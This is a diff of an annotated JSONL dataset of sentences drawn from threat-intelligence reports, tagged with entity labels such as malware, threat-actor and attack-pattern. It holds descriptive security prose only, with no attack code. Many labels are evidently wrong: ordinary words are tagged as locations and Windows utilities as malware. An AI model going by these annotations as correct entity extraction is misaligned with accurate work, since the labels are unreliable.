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-{"id":470,"text":" DGA by itself can’t harm you.","entities":[],"relations":[],"Comments":[]}
-{"id":471,"text":"But it is an important piece that enables modern malware to try and evade security products and countermeasures.","entities":[],"relations":[],"Comments":[]}
-{"id":472,"text":"The importance and usefulness of DGA is best shown by the fact that it’s been in regular and constant use since at least 2008.","entities":[{"id":46125,"label":"TIME","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":473,"text":"DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success.","entities":[{"id":46126,"label":"malware","start_offset":31,"end_offset":40},{"id":46127,"label":"TIME","start_offset":52,"end_offset":56},{"id":46128,"label":"TIME","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":474,"text":" What can I do about it?","entities":[],"relations":[],"Comments":[]}
+{"id":10444,"text":"You need to make sure your business is protected.","entities":[],"relations":[],"Comments":[]}
+{"id":6237,"text":"While Earth Wendigo uses typical spear-phishing techniques to initiate their attack, the threat actor also uses many atypical techniques to infiltrate the targeted organizations, such as the use of mail signature manipulation and Service Worker infection.","entities":[{"id":19240,"label":"threat-actor","start_offset":6,"end_offset":19},{"id":19241,"label":"location","start_offset":33,"end_offset":38},{"id":19242,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":19243,"label":"location","start_offset":112,"end_offset":116},{"id":19244,"label":"location","start_offset":226,"end_offset":229}],"relations":[],"Comments":[]}
+{"id":1664,"text":" The initial packet from the client to the server shows a data and command length of 65 bytes (0x41 listed at the beginning of the packet) with a command byte of 0x03.  Within that data is a 32-byte seed value followed by a 16-byte initialization vector (IV) value.","entities":[],"relations":[],"Comments":[]}
+{"id":11460,"text":"APP has a strong track record protecting users \u2013 since the program\u2019s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":35019,"label":"location","start_offset":10,"end_offset":16},{"id":35020,"label":"malware","start_offset":69,"end_offset":78},{"id":35021,"label":"location","start_offset":86,"end_offset":89},{"id":35022,"label":"attack-pattern","start_offset":139,"end_offset":147}],"relations":[],"Comments":[]}
+{"id":5835,"text":"Information warfare, PSYOPs, psychology operations - you name it.","entities":[],"relations":[],"Comments":[]}
+{"id":10658,"text":"According to the Apache HTTP Server webpage, from 2012 to 2016 there were a total of 31 vulnerabilities found in the Apache HTTP Server.","entities":[],"relations":[],"Comments":[]}
+{"id":3618,"text":"While these are not broad attacks, they represent an escalation in attacker spear phishing techniques in a way that makes it even more important than ever to have a prevention framework in place.","entities":[{"id":49403,"label":"attack-pattern","start_offset":76,"end_offset":90}],"relations":[],"Comments":[]}
+{"id":1791,"text":"However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539.","entities":[{"id":45132,"label":"vulnerability","start_offset":129,"end_offset":143},{"id":45133,"label":"identity","start_offset":101,"end_offset":110}],"relations":[],"Comments":[]}
+{"id":14091,"text":"It makes sense that new campaigns coming from the same authors\/groups will add new extensions like \u201c.xlsx\u201d to support updated versions of Office documents.","entities":[],"relations":[],"Comments":[]}
+{"id":14106,"text":"     Figure 12.","entities":[],"relations":[],"Comments":[]}
+{"id":9058,"text":"The screenshot below shows the conversion from C\/C++ code to Powershell, while the protocol remained unchanged.","entities":[],"relations":[],"Comments":[]}
+{"id":14044,"text":"It is also important to note that the same paths leaked through all the SLUB samples.","entities":[{"id":43496,"label":"malware","start_offset":72,"end_offset":76}],"relations":[],"Comments":[]}
+{"id":12963,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
+{"id":1886,"text":"For the sake of this report, we will call this unnamed threat actor \u201cUrpage.\u201d","entities":[{"id":47016,"label":"threat-actor","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
+{"id":3928,"text":"The quser command is used to identify active remote sessions.","entities":[],"relations":[],"Comments":[]}
+{"id":9570,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
+{"id":14227,"text":"Upon successful infection, the malware starts communicating with an HTML page from a repository stored in a GitHub project.","entities":[{"id":48413,"label":"SOFTWARE","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
+{"id":134,"text":"Additionally, you should practice good cybersecurity hygiene.","entities":[],"relations":[],"Comments":[]}
+{"id":12064,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":37336,"label":"location","start_offset":45,"end_offset":48},{"id":37337,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
+{"id":2511,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Conti ransomware stands out as one of the most ruthless of the dozens of ransomware gangs that we follow.","entities":[{"id":45556,"label":"threat-actor","start_offset":53,"end_offset":69}],"relations":[],"Comments":[]}
+{"id":1057,"text":"When done successfully, this can enable an attacker to convince the user he or she is clicking one window when, in fact, he or she is actually clicking another window.","entities":[],"relations":[],"Comments":[]}
+{"id":4032,"text":"Then, depending on the victims, the threat actors dropped different types of second-stage backdoors, such as ChiserClient and SmileSvr.","entities":[{"id":49877,"label":"malware","start_offset":109,"end_offset":121},{"id":49878,"label":"malware","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]}
+{"id":4928,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[{"id":50944,"label":"identity","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]}
+{"id":6572,"text":"While one of his signatures uses his own blog domain, there is also a second signature which uses 93[.]gd, a domain that was found to have been actively selling VPS services in the past.","entities":[],"relations":[],"Comments":[]}
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+{"id":5343,"text":"For decryption, the malware uses the RSA_public_decrypt() function, which decrypts data encrypted with a corresponding private key, leveraging the \u201creversibility\u201d of the RSA encryption algorithm.","entities":[],"relations":[],"Comments":[]}
+{"id":8873,"text":"For every tool that needs to be run, it creates three things:   The auxiliary tool file <filename>.bat file Cmd.exe with a schtasks.exe command to create a scheduled task to run the batch file above  Instead of directly launching the auxiliary tool, it makes use of a scheduled task that runs the batch file that, in turn, executes the tool.","entities":[{"id":27438,"label":"location","start_offset":10,"end_offset":14},{"id":27439,"label":"location","start_offset":78,"end_offset":82},{"id":27440,"label":"malware","start_offset":108,"end_offset":115},{"id":27441,"label":"malware","start_offset":123,"end_offset":135},{"id":27442,"label":"attack-pattern","start_offset":156,"end_offset":170},{"id":27443,"label":"location","start_offset":244,"end_offset":248},{"id":27444,"label":"attack-pattern","start_offset":268,"end_offset":282},{"id":27445,"label":"location","start_offset":336,"end_offset":340}],"relations":[],"Comments":[]}
+{"id":2794,"text":"Loading malware through drive-by downloads is so 2012: in 2017 it\u2019s about drive-by mining attacks to earn cryptocurrencies.","entities":[{"id":48012,"label":"TIME","start_offset":49,"end_offset":53},{"id":48013,"label":"TIME","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
+{"id":3762,"text":"Following is an example of such an attempt.","entities":[],"relations":[],"Comments":[]}
+{"id":8872,"text":"To avoid this, the attacker chose a different approach.","entities":[],"relations":[],"Comments":[]}
+{"id":8836,"text":"This prompted us to dig deeper.","entities":[],"relations":[],"Comments":[]}
+{"id":5346,"text":"Commands","entities":[],"relations":[],"Comments":[]}
+{"id":9172,"text":"Best Practices Lurk\u2019s story demonstrates the aptitude of cybercriminals for honing in on specific victims and profiting from them.","entities":[{"id":28300,"label":"location","start_offset":0,"end_offset":4},{"id":28301,"label":"malware","start_offset":15,"end_offset":19},{"id":28302,"label":"location","start_offset":22,"end_offset":27},{"id":28303,"label":"location","start_offset":106,"end_offset":109},{"id":28304,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
+{"id":4599,"text":"By abusing the SSRF, attackers can create session IDs and access tokens for privileged accounts with the context of the Exchange Control Panel, which can be used to write files with attacker-controlled content at a location on the target server, chosen by the attacker.","entities":[{"id":50482,"label":"attack-pattern","start_offset":15,"end_offset":19},{"id":50483,"label":"SOFTWARE","start_offset":120,"end_offset":128}],"relations":[],"Comments":[]}
+{"id":4454,"text":"We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.","entities":[],"relations":[],"Comments":[]}
+{"id":2272,"text":"Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.","entities":[{"id":47339,"label":"malware","start_offset":0,"end_offset":8},{"id":47343,"label":"attack-pattern","start_offset":57,"end_offset":96},{"id":47340,"label":"SOFTWARE","start_offset":144,"end_offset":151},{"id":47341,"label":"attack-pattern","start_offset":21,"end_offset":55},{"id":47342,"label":"attack-pattern","start_offset":98,"end_offset":133}],"relations":[],"Comments":[]}
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+{"id":11218,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":34313,"label":"malware","start_offset":64,"end_offset":68},{"id":34314,"label":"location","start_offset":82,"end_offset":85},{"id":34315,"label":"location","start_offset":99,"end_offset":102},{"id":34316,"label":"location","start_offset":112,"end_offset":117},{"id":34317,"label":"location","start_offset":157,"end_offset":161},{"id":34318,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
+{"id":14277,"text":"However, the spyware just hides itself and runs in the background.","entities":[],"relations":[],"Comments":[]}
+{"id":2135,"text":"Organizations should focus their risk assessments for possible attack until they can patch on four things:  Guidance and Protections for Palo Alto Networks Customers","entities":[{"id":47269,"label":"identity","start_offset":137,"end_offset":155}],"relations":[],"Comments":[]}
+{"id":6507,"text":"The response from the server contains an encoded PowerShell script, which is executed in memory.","entities":[{"id":20162,"label":"attack-pattern","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
+{"id":9505,"text":"If the SMTemp.dat file exists, the Loader.dll file executes it.","entities":[],"relations":[],"Comments":[]}
+{"id":12236,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
+{"id":9778,"text":"This is yet another similarity with previous MuddyWater campaigns, which were known to have targeted multiple Turkish government entities.","entities":[],"relations":[],"Comments":[]}
+{"id":11436,"text":"Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.","entities":[{"id":34938,"label":"threat-actor","start_offset":28,"end_offset":38},{"id":34939,"label":"location","start_offset":59,"end_offset":62},{"id":34940,"label":"location","start_offset":95,"end_offset":98},{"id":34941,"label":"location","start_offset":105,"end_offset":109},{"id":34942,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
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+{"id":6903,"text":"The chart below details the Russian threat actor group SANDWORM\u2019s targeting efforts (by sector) over the last three years.","entities":[],"relations":[],"Comments":[]}
+{"id":4176,"text":"These threat actors are notably sophisticated and well-equipped.","entities":[],"relations":[],"Comments":[]}
+{"id":3255,"text":"The C&C communication is encrypted with AES ECB algorithm using a hard-coded password, ZLIB compression, and base85 encoding.","entities":[],"relations":[],"Comments":[]}
+{"id":12907,"text":"General:","entities":[],"relations":[],"Comments":[]}
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+{"id":12980,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":40416,"label":"location","start_offset":97,"end_offset":100},{"id":40417,"label":"location","start_offset":106,"end_offset":110},{"id":40418,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":40419,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
+{"id":9827,"text":"Uses legitimate websites for the C&C server.","entities":[],"relations":[],"Comments":[]}
+{"id":358,"text":"In this case, that apparently included VPN credentials, which they then used to log into the network and more laterally from system to system until discovering the data they were after.","entities":[{"id":46055,"label":"SOFTWARE","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
+{"id":4661,"text":"The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.","entities":[{"id":50569,"label":"SOFTWARE","start_offset":157,"end_offset":162}],"relations":[],"Comments":[]}
+{"id":10835,"text":"MSG_SYNC Sync is a repeated behavior.","entities":[],"relations":[],"Comments":[]}
+{"id":10659,"text":"However, from 2017 to 2021 the total vulnerabilities number surged to 57.","entities":[],"relations":[],"Comments":[]}
+{"id":13304,"text":"TClient, for instance, uses DLL hijacking and injection that may not be as noticeable to others.","entities":[{"id":41416,"label":"malware","start_offset":0,"end_offset":7},{"id":41417,"label":"location","start_offset":42,"end_offset":45},{"id":41418,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
+{"id":10157,"text":"The real ADFS server of the U.S. Senate is not reachable on the open internet, however phishing of users\u2019 credentials on an ADFS server that is behind a firewall still makes sense.","entities":[{"id":31001,"label":"location","start_offset":4,"end_offset":8},{"id":31003,"label":"attack-pattern","start_offset":87,"end_offset":95}],"relations":[],"Comments":[]}
+{"id":5106,"text":"TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.","entities":[{"id":51208,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
+{"id":5341,"text":"      Figure 4.","entities":[],"relations":[],"Comments":[]}
+{"id":786,"text":"In this situation the researcher is no longer able to determine whether a use-after-free behavior has occurred because no exception would be thrown out.","entities":[],"relations":[],"Comments":[]}
+{"id":595,"text":" Hancitor isn\u2019t particularly advanced in its tactics: it\u2019s ideal target is an old or outdated version of Microsoft Windows like Windows 7 or even Windows XP.","entities":[{"id":46187,"label":"malware","start_offset":1,"end_offset":9},{"id":46188,"label":"SOFTWARE","start_offset":105,"end_offset":122},{"id":46189,"label":"SOFTWARE","start_offset":128,"end_offset":137},{"id":46190,"label":"SOFTWARE","start_offset":146,"end_offset":157}],"relations":[],"Comments":[]}
+{"id":95,"text":"I\u2019ve spoken on this at a few events and asked my audiences how many have active cloud infrastructure projects going on, the answer is always most of them.","entities":[],"relations":[],"Comments":[]}
+{"id":14083,"text":"Websites created using GNUBoard CMS     Exfiltration commands","entities":[{"id":48162,"label":"SOFTWARE","start_offset":23,"end_offset":32}],"relations":[],"Comments":[]}
+{"id":5326,"text":"After encryption, if the total packet length is greater than 98,303 bytes, the packet is sent.","entities":[],"relations":[],"Comments":[]}
+{"id":14256,"text":"Conclusion","entities":[],"relations":[],"Comments":[]}
+{"id":3389,"text":"test3.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  344cdbc2a7e0908cb6638bc7b81b6b697b32755bad3bed09c511866eff3876c7","entities":[{"id":10238,"label":"malware","start_offset":11,"end_offset":22},{"id":10239,"label":"SHA2","start_offset":57,"end_offset":121},{"id":49041,"label":"malware","start_offset":31,"end_offset":55},{"id":49040,"label":"FILEPATH","start_offset":0,"end_offset":9}],"relations":[{"id":588,"from_id":49040,"to_id":49041,"type":"indicates"},{"id":589,"from_id":10238,"to_id":49041,"type":"duplicate-of"},{"id":590,"from_id":49040,"to_id":10239,"type":"duplicate-of"},{"id":591,"from_id":10239,"to_id":49041,"type":"indicates"}],"Comments":[]}
+{"id":366,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":14207,"text":"Even the Limitless Keylogger, which was used in targeted attacks, was linked to a GitHub project.","entities":[{"id":48232,"label":"SOFTWARE","start_offset":82,"end_offset":89}],"relations":[],"Comments":[]}
+{"id":2445,"text":"Our analysis shows that the following filenames would store the webshell contents on the server in the event of successful exploitation:  0xd0m7.jsp myshell.jsp shell.jsp tomcatwar.jsp wpz.jsp  The webshell contents written to these files are very similar to the code included in the publicly available PoC as well.","entities":[{"id":47515,"label":"FILEPATH","start_offset":161,"end_offset":170},{"id":47516,"label":"FILEPATH","start_offset":171,"end_offset":184},{"id":47513,"label":"FILEPATH","start_offset":138,"end_offset":148},{"id":47514,"label":"FILEPATH","start_offset":149,"end_offset":160},{"id":47517,"label":"FILEPATH","start_offset":185,"end_offset":192}],"relations":[],"Comments":[]}
+{"id":3868,"text":"However, the constant addition and changing of features and attack vectors indicate that the attackers behind the campaign are unlikely to stop and are constantly looking to evolve their tools and tactics.","entities":[],"relations":[],"Comments":[]}
+{"id":4869,"text":"Previously described by Amnesty, this phishing kit has remained under active development over the past five years.","entities":[{"id":50871,"label":"identity","start_offset":24,"end_offset":31}],"relations":[],"Comments":[]}
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+{"id":5044,"text":"We\u2019ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]}
+{"id":9852,"text":"Casper C&C with Cobalt Strike\u2019s server fingerprint","entities":[],"relations":[],"Comments":[]}
+{"id":4501,"text":"The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.","entities":[],"relations":[],"Comments":[]}
+{"id":5377,"text":"      Figure 10. VPNFilter \u201cdstr\u201d third-stage code for writing to raw flash memory      System reconnaissance (0x08) This module is responsible for sending information from the infected device to the C&C server.","entities":[{"id":16498,"label":"malware","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]}
+{"id":1828,"text":"Mimikatz components were also copied to the affected machine via AnyDeskMSI.","entities":[{"id":5378,"label":"tools","start_offset":0,"end_offset":8},{"id":46961,"label":"tools","start_offset":65,"end_offset":75}],"relations":[{"id":277,"from_id":46961,"to_id":5378,"type":"drops"}],"Comments":[]}
+{"id":1450,"text":"For example, if an attacker obtained the private key of an app, he or she could create a fake APK file, sign it using the same certificate as the legitimate app, and replace the targeted app with fake app on the device silently using the \u201cApplication upgrade\u201d procedure.","entities":[],"relations":[],"Comments":[]}
+{"id":922,"text":"This dialogue mimics the more-capable \u201cCryptoLocker\u201d malware family and provides instructions in both English and Spanish.","entities":[{"id":2904,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
+{"id":2946,"text":"But given how quickly and broadly successful it is, combined with the continued high value of cryptocurrencies, we can also conclude that attackers will continue to focus on cryptocurrency and likely will evolve their techniques and tactics quickly.","entities":[],"relations":[],"Comments":[]}
+{"id":5888,"text":"But we really need to understand what is critical.","entities":[],"relations":[],"Comments":[]}
+{"id":11191,"text":"HYPERSCRAPE demonstrates Charming Kitten\u2019s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":34264,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":34265,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
+{"id":5790,"text":"So I thought you and I [00:01:00] could take time today and talk a little bit about cyber warfare, hybrid warfare.","entities":[{"id":17922,"label":"location","start_offset":17,"end_offset":20},{"id":17923,"label":"location","start_offset":45,"end_offset":49},{"id":17925,"label":"location","start_offset":56,"end_offset":59},{"id":17926,"label":"location","start_offset":67,"end_offset":73},{"id":17927,"label":"identity","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
+{"id":5150,"text":"I'm going to buy a loaf of bread and I'm going to come back and we can go to item 3, and I'm going to go and I'm going to come back.","entities":[],"relations":[],"Comments":[]}
+{"id":10569,"text":" We\u2019ve detected a few emerging trends in recent months.","entities":[],"relations":[],"Comments":[]}
+{"id":1474,"text":"This practice is not necessarily dangerous, as long as the developer does not share the key with the various banks that contracted the applications.","entities":[],"relations":[],"Comments":[]}
+{"id":4352,"text":"There were minor differences in tools, tactics, and procedures: the malicious document was directly attached to the spear phishing email \u2014 still encrypted \u2014 and the decryption password was sent in a different email.","entities":[{"id":50137,"label":"attack-pattern","start_offset":116,"end_offset":130}],"relations":[],"Comments":[]}
+{"id":11695,"text":"SideWinder\u2019s phishing page disguised as a Nepalese Army OWA (Outlook Web Access) Page      Figure 9.","entities":[{"id":36036,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":36037,"label":"attack-pattern","start_offset":13,"end_offset":21},{"id":36038,"label":"location","start_offset":22,"end_offset":26},{"id":36039,"label":"location","start_offset":61,"end_offset":68},{"id":36040,"label":"malware","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
+{"id":7004,"text":"It also protects organizations from email-based threats.","entities":[],"relations":[],"Comments":[]}
+{"id":4164,"text":"The decoded string is shown in Table 2.","entities":[],"relations":[],"Comments":[]}
+{"id":2220,"text":" As we\u2019ve seen in previous samples, this executable file begins by checking the parent process for the presence of \u2018cmd.exe\u2019 or \u2018explorer.exe\u2019.","entities":[{"id":45422,"label":"FILEPATH","start_offset":116,"end_offset":123},{"id":45423,"label":"FILEPATH","start_offset":129,"end_offset":141}],"relations":[],"Comments":[]}
+{"id":6780,"text":" Figure 2. Code for downloading the document template with the malicious macro","entities":[],"relations":[],"Comments":[]}
+{"id":3525,"text":"  Our research into and correlation of Protux led us to several samples that have version numbers embedded in them.","entities":[{"id":10661,"label":"malware","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]}
+{"id":2586,"text":"They focus on using a combination of stolen credentials and social engineering to gain access to victims.","entities":[{"id":45603,"label":"attack-pattern","start_offset":37,"end_offset":55},{"id":45604,"label":"attack-pattern","start_offset":60,"end_offset":78}],"relations":[],"Comments":[]}
+{"id":14016,"text":"Figure 1 shows this:      Figure 1 Planted version information      This kind of misleading version data is quite common and does not have information relevant to attribution.","entities":[],"relations":[],"Comments":[]}
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+{"id":1060,"text":"You can see how this attack can be used convince users to unwittingly install malware on the device.","entities":[],"relations":[],"Comments":[]}
+{"id":6209,"text":"By examining one of the malicious scripts from the Earth Wendigo campaign, we discovered that it uploaded the tampered Service Worker script to the webmail server disguised as an original script provided by the server.","entities":[{"id":19173,"label":"threat-actor","start_offset":51,"end_offset":64},{"id":19174,"label":"location","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]}
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+{"id":2573,"text":"You can also join in the discussion in our \u201cAbout Threat and Vulnerability Discussions\u201d on the Live Community.","entities":[],"relations":[],"Comments":[]}
+{"id":7571,"text":"Payload as FlawedAmmyy downloader","entities":[{"id":23616,"label":"malware","start_offset":11,"end_offset":22}],"relations":[],"Comments":[]}
+{"id":4221,"text":"Similarly, this application also comes bundled with malicious .NET code.","entities":[],"relations":[],"Comments":[]}
+{"id":2448,"text":"The second variant does not use a parameter for authentication and uses id for the command to execute.","entities":[],"relations":[],"Comments":[]}
+{"id":14247,"text":"In fact, we only observed one instance of activity during the weekend, where a new HTML file was created.","entities":[],"relations":[],"Comments":[]}
+{"id":4338,"text":"The \u201cDocuments,\u201d \u201cDownloads,\u201d \u201cDesktop,\u201d and \u201cPictures\u201d folders of every user","entities":[],"relations":[],"Comments":[]}
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+{"id":1300,"text":" The malware then makes the following request:  The filename and uid parameters are statically set in the above request.","entities":[],"relations":[],"Comments":[]}
+{"id":6745,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":21045,"label":"tools","start_offset":4,"end_offset":8},{"id":21046,"label":"location","start_offset":71,"end_offset":75},{"id":21047,"label":"location","start_offset":83,"end_offset":87},{"id":21048,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
+{"id":13963,"text":"Visit the Trend Micro Vision One\u2122 website for more information.","entities":[],"relations":[],"Comments":[]}
+{"id":1267,"text":"Two of the executables used decoy documents that included information about obituaries.","entities":[],"relations":[],"Comments":[]}
+{"id":9900,"text":"Spear phishing campaigns of APT33.","entities":[{"id":30215,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":30216,"label":"threat-actor","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]}
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+{"id":3245,"text":"It must be noted that \u201cvbccsb\u201d is the default username on ThreatBook Cloud Sandbox, a popular alternative to VirusTotal in China.","entities":[{"id":48364,"label":"location","start_offset":123,"end_offset":128},{"id":48365,"label":"SOFTWARE","start_offset":109,"end_offset":119},{"id":48366,"label":"SOFTWARE","start_offset":58,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":475,"text":" Because DGA is a technique the fuels malware attacks, the things you can do to help prevent malware can also help prevent DGA-fueled malware attacks:  In addition, new technologies are being developed that can more directly counter DGA-fueled attacks, particularly for organizations.","entities":[],"relations":[],"Comments":[]}
-{"id":476,"text":"In particular, security vendors are bringing automation to bear to counter the attackers’ automation.","entities":[],"relations":[],"Comments":[]}
-{"id":477,"text":"New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA’s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.","entities":[],"relations":[],"Comments":[]}
-{"id":478,"text":" You can also learn more about these new technologies and look at deploying them as an additional layer of protection.  ","entities":[],"relations":[],"Comments":[]}
-{"id":479,"text":"About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]}
-{"id":480,"text":" They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.  Got a topic you want us to write about for you, your friends, or your family?","entities":[{"id":45787,"label":"identity","start_offset":25,"end_offset":43},{"id":45789,"label":"identity","start_offset":44,"end_offset":51},{"id":45790,"label":"identity","start_offset":25,"end_offset":72}],"relations":[],"Comments":[]}
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-{"id":485,"text":"Unit 42 released details about a vulnerability that affects Android devices running operating systems older than 8.0 Oreo.","entities":[{"id":1635,"label":"identity","start_offset":0,"end_offset":7},{"id":46129,"label":"SOFTWARE","start_offset":60,"end_offset":67},{"id":46130,"label":"SOFTWARE","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":486,"text":"The vulnerability leaves Android users at risk of falling victim to an Android Toast Overlay attack.","entities":[{"id":44751,"label":"SOFTWARE","start_offset":25,"end_offset":32},{"id":44753,"label":"attack-pattern","start_offset":71,"end_offset":99}],"relations":[{"id":155,"from_id":44753,"to_id":44751,"type":"targets"}],"Comments":[]}
-{"id":487,"text":"Patches are available that fix this vulnerability, so Android users should get the latest updates as soon as possible.","entities":[{"id":46131,"label":"SOFTWARE","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":488,"text":" How it Works  ","entities":[],"relations":[],"Comments":[]}
-{"id":489,"text":"The vulnerability affects the Toast feature on Android devices, an Android feature that allows display messages and notifications of other applications to “pop up,” and allows an attacker to employ an overlay attack.","entities":[{"id":45791,"label":"SOFTWARE","start_offset":47,"end_offset":54},{"id":45792,"label":"SOFTWARE","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":490,"text":" An overlay attack happens when an attacker places a window over a legitimate application on the device.","entities":[],"relations":[],"Comments":[]}
-{"id":491,"text":"Users will interact with the window, thinking they are performing their intended function, but they are actually engaging with the attackers overlay window and executing the attacker’s desired function.","entities":[],"relations":[],"Comments":[]}
-{"id":492,"text":"You can see an example of how this would work in Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":493,"text":" Figure 1: Bogus patch installer overlying malware requesting administrative permissions  This interaction can install malware or malicious software on the device, grant malware full administrative privileges or lock the user out and render the device unusable.  In the past successful overlay attacks were typically dependent on two conditions:  However, with this particular vulnerability, these conditions are no longer required for a successful attack.","entities":[],"relations":[],"Comments":[]}
-{"id":494,"text":"This means that attackers can use this vulnerability in apps users get from places other than Google Play.","entities":[{"id":46132,"label":"SOFTWARE","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":495,"text":"And when they install these malicious apps, they don’t have to ask for the “draw on top” permission.","entities":[],"relations":[],"Comments":[]}
-{"id":496,"text":" How to Defend Against It  Keeping devices updated is a general security best practice.","entities":[],"relations":[],"Comments":[]}
-{"id":497,"text":"The Android Toast Overlay attack specifically targets outdated devices using versions prior to 8.0.","entities":[{"id":46133,"label":"attack-pattern","start_offset":4,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":498,"text":"In order to defend against the Android Toast Overlay attack, update all Android devices to the latest version.","entities":[{"id":44756,"label":"attack-pattern","start_offset":31,"end_offset":59},{"id":44757,"label":"SOFTWARE","start_offset":31,"end_offset":38},{"id":44758,"label":"SOFTWARE","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":499,"text":"Additionally, avoid downloading malicious applications by only downloading from the Google Play store is another best practice you should always follow.","entities":[{"id":46134,"label":"SOFTWARE","start_offset":84,"end_offset":101}],"relations":[],"Comments":[]}
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-{"id":503,"text":"This post is also available in:      日本語 (Japanese)  Ransomware is one of the top threats in cybersecurity and a focus area for Palo Alto Networks.","entities":[{"id":46135,"label":"identity","start_offset":128,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":504,"text":"In the current threat landscape, ransom payments are rising and organizations are seeking to protect themselves from threat actors.","entities":[],"relations":[],"Comments":[]}
-{"id":505,"text":"In the 2021 Unit 42 Ransomware Threat Report, we detailed the observations and the trend of top ransomware families from January 2020-January 2021.","entities":[{"id":1681,"label":"identity","start_offset":12,"end_offset":19},{"id":46138,"label":"TIME","start_offset":134,"end_offset":146},{"id":46136,"label":"TIME","start_offset":7,"end_offset":11},{"id":46137,"label":"TIME","start_offset":121,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":506,"text":"This post supplements that information based on observations from the first three months of 2021, and will discuss the propagation of different ransomware families we observed in the wild and the different types of extortion used.","entities":[{"id":46139,"label":"TIME","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":507,"text":"We hope the information will help readers get a clear picture of current directions in ransomware trends.","entities":[],"relations":[],"Comments":[]}
-{"id":508,"text":"In the first quarter (Q1) of 2021, Unit 42 detected 113 different ransomware families in the wild.","entities":[{"id":46140,"label":"TIME","start_offset":21,"end_offset":33},{"id":46141,"label":"identity","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":509,"text":"Based on the statistical data, the top 15 ransomware families only cover 52.3% of total ransomware cases.","entities":[],"relations":[],"Comments":[]}
-{"id":510,"text":"This demonstrates the diversity of ransomware and emphasizes how difficult it is to expand ransomware detection coverage with static profiling.","entities":[],"relations":[],"Comments":[]}
